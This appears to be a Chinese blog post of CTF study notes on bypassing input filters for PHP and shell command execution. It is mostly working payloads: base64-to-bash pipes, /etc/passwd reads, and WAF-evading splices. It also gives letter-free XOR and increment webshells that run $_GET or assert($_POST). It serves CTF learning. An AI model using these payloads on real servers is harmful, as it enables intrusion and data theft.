RCE绕过


过滤:

清理应用程序使用的用户输入是防止命令注入的好方法。这是指定用户可以提交的数据的格式或类型的过程。例如,仅接受数值数据或删除任何特殊字符(如 > 和 & / )的输入字段。
读取flag时候可以  不进行目录穿越  可以直接cat  /f*   (*不能被禁止)

Rce执行命令函数

var_dump 和echo 一样都可以打印字符。

  • exec():执行外部程序
  • shell_exec():通过 shell 执行命令并将完整的输出以字符串的方式返回
  • system():执行外部程序,并且显示输出

image.png

  •  popen() proc_open() pcntl_exec()
  • Echo ls  这种相当于执行命令
  • 编码绕过
  • Creat_function 命令执行
  • $(command 或者脚本 ) 执行命令
  • scandir(/); 列出目录

绕过注释

1
2
3
eval("#cmd".$B."inject");

?><?$a=shell_exec(%27cat%20/f*%27);echo%20$a;?>

总结rce(远程代码执行各种sao姿势)绕过bypass_rce绕过-CSDN博客

linux常规命令绕过

image.png

- 一般有绕过就拼接

a=c;b=a;c=t;***$a$b$c /etc/passwd

  • 但是有时候并不是过滤这个关键字而是 flag在尾部你还必须用tac

全部都被禁了怎么办 利用\ 反斜杠大用处

GET /?rce=c\at${IFS}fl\ag.php HTTP/1.1

Host: node5.anna.nssctf.cn:28843

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

-  利用编码绕过

echo ‘cat’ | base64

Y2F0wqAK

echo 'Y2F0wqAK' | base64 -d /etc/passwd

echo ‘Y2F0IC9ldGMvcGFzc3dk’ | base64 -d | bash// cat /etc/passwd

    1. 利用hex编码(十六进制)绕过

echo “6c73” | xxd -r -p|bash// hex编码后的0x不需要输入。

    1. 利用oct编码(八进制)绕过

$(printf “\154\163”)//ls命令

$(echo “\154\163”)//ls命令 都可以用八进制绕过

  • 5)利用16进制编码绕过

“\x73\x79\x73\x74\x65\x6d”(“l\s”);

1.命令执行函数绕过  

PS:    在拼接echo 的时候    echo 后面打印的字符串可以不加单引号’’  

利用 在参数传递的过程中如果有php语句可以写  $_POST[‘’];

可以直接在参数后面再加一个参数用来接收

利用拼接绕过

(sy.(st).em)(whoami);//

 c’’a’’t /etc/passwd//单引

c””a””t /etc/passwd//双引

cat /etc/passwd/反单引

c\a\t /etc/passwd//反斜线

$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空,如下:

wh$1oami

who$@ami

whoa$*mi

666whoami666 //bash: 666root666: command not found

666\whoami666 //bash: 666root666: command not found

//命令执行后的结果在2个666中间

插入注释(这对于绕过阻止特定PHP函数名称的WAF规则集很有用)

system/A10ng_/(whoami);

system/A10ng_/(wh./A10ng_/(oa)/caixukun/.mi);

(sy./A10ng_/(st)/A10ng_/.em)/A10ng_/(wh./A10ng_/(oa)/A10ng_/.mi);

利用未初始化变量

cat$u /etc/passwd

  1. 利用未初始化变量,使用$u绕过

cat /etc$u/passwd

过滤了斜杠‘/’

可利用’;’拼接命令绕过

cd ..;cd ..;cd ..;cd ..;cd etc;cat passwd

利用通配符绕过:

列如cat /passwd:

??? /e??/?a????

cat /e*/pa*

glob通配符:

在glob里

“ [A-Fa-f0-9] ”相当于 “ [ABCDEFabcdef0123456789] “.)

“ [-%] ”代表“ [!”#$%] ”而“ [az] ”代表“任何 小写字母”

利用[@-[]来表示大写字母:

[…]表示匹配方括号之中的任意一个字符

{…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。

{…}与[…]有一个重要的区别,当匹配的文件不存在,[…]会失去模式的功能,变成一个单纯的字符串,而{…}依然可以展开

cat t[a-z]st

cat t{a,b,c,d,e,f}st

利用PATH绕过

可以通过截断和拼接来得到我们想要的来getshell

${PATH:5:1} //l

${PATH:2:1} //s

${PATH:5:1}${PATH:2:1} //拼接后是ls,执行命令

${PATH:5:1}s //拼接后是ls,执行命令

数学函数进制绕过

数学函数进制绕过 数学函数进制转换 rce

无字母数字webshell总结 - 先知社区 (aliyun.com)

PHP5和PHP7的区别

  • PHP5中,assert()是一个函数,我们可以用$=assert;$()这样的形式来执行代码。但在PHP7中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。(不过貌似这点存疑,我在PHP7.1中确实不允许再使用这种调用方法了,但是网上有人貌似在PHP7.0.12下还能这样调用,可能是7.1及以上不行??)
  • PHP5中,是不支持($a)()这种调用方法的,但在PHP7中支持这种调用方法,因此支持这么写(‘phpinfo’)();

无字符绕过:

就让我们 看看进阶版版本的rce吧

最屌的

​取反绕过

取反跟异或原理上差不多,唯一不同的是运算的逻辑不一样,当然这跟我们半毛钱关系都没有,我们也不需要手算,我就是纯属凑个字数。

这个非常简单,就是把命令先取反,然后在上传的时候,加一个取反符号‘~’,再在服务器上进行一次取反运算,

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

echo urlencode(~'phpinfo()');

?>

<?php
$ans1='system';//函数名
$ans2='ls';//命令
$data1=('~'.urlencode(~$ans1));//通过两次取反运算得到system
$data2=('~'.urlencode(~$ans2));//通过两次取反运算得到dir
echo ('('.$data1.')'.'('.$data2.')'.';');
?>

​自增绕过:

‘a’++ => ‘b’,’b’++ => ‘c’… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符母。

那么,如何拿到一个值为字符串’a’的变量呢?

巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$_++;//B
$_++;//C
$_++;//D
$_++;//E
$__=$_;//E
$_++;//F
$_++;//G
$___=$_;//G
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T
$_=$___.$__.$_;//GET
//var_dump($_);
$_='_'.$_;//_GET
var_dump($$_[_]($$_[__]));
//$_GET[_]($_GET[__])

这个可以当作一个 get参数传递

这个可以自己实现哟!!!

$_=[].'';$_=$_[''=='$'];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_='_'.$_;$$_[_]($$_[__]);

这个是两个post传递参数

%24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B


$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
&_=phpinfo();
这个感觉像是 eval后执行的 函数

​异或绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import urllib.parse
def xor():

with open("dic.txt","w") as file1:
for i in range(0,128):
for j in range(0,128):
result=i^j
# 判断字符可见
a=chr(i) if chr(i).isprintable() else urllib.parse.quote(chr(i))
b = chr(j) if chr(j).isprintable() else urllib.parse.quote(chr(j))
test=a+'^'+b+' == > '+chr(result)+" ASCII:"+str(result)+"\n"
file1.write(test)

if __name__ == "__main__":
xor()

先利用脚本将异或的组合列出来
然后将需要的命令拼接出来。
列如:phpinfo()
(‘GGGGGGG’^’7/7.)!(‘)();
 其中’G’^’7’=p,’G’^’/‘=h…………依次类推拼出你想得到的命令。

1
2
3
4
5
6
7
8
9

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
即:?code=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);

?>

在有时候,字母和输入全被过滤掉的时候,可以用不可打印字符来进行命令执行。可以稍微改一下上边的脚本,将字符url编码之后再输出,这时候就能绕过去了。

异或绕过 使用echo 先打印后执行 数学函数进制转换 rce

通过添加UA头

SimpleRCE原题

重点是添加UA头为你想读取的文件
User_Agent:/flag

一些payload

1
2
show_source(next(apache_request_headers()));
aaa=show_source(apache_request_headers()['User-Agent']);

User_agent 这个可以自定义这个值和变量。

  1. getallheaders():这个函数可以获取当前请求的所有头信息,并以一个关联数组的形式返回。

    $headers = getallheaders();

  2. $_SERVER 超全局数组:你也可以通过 $_SERVER 数组访问请求头。大部分请求头会以 HTTP_ 前缀的形式存储在这个数组中。

    $userAgent = $_SERVER['HTTP_USER_AGENT'];


文章作者: K1T0
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 K1T0 !
  目录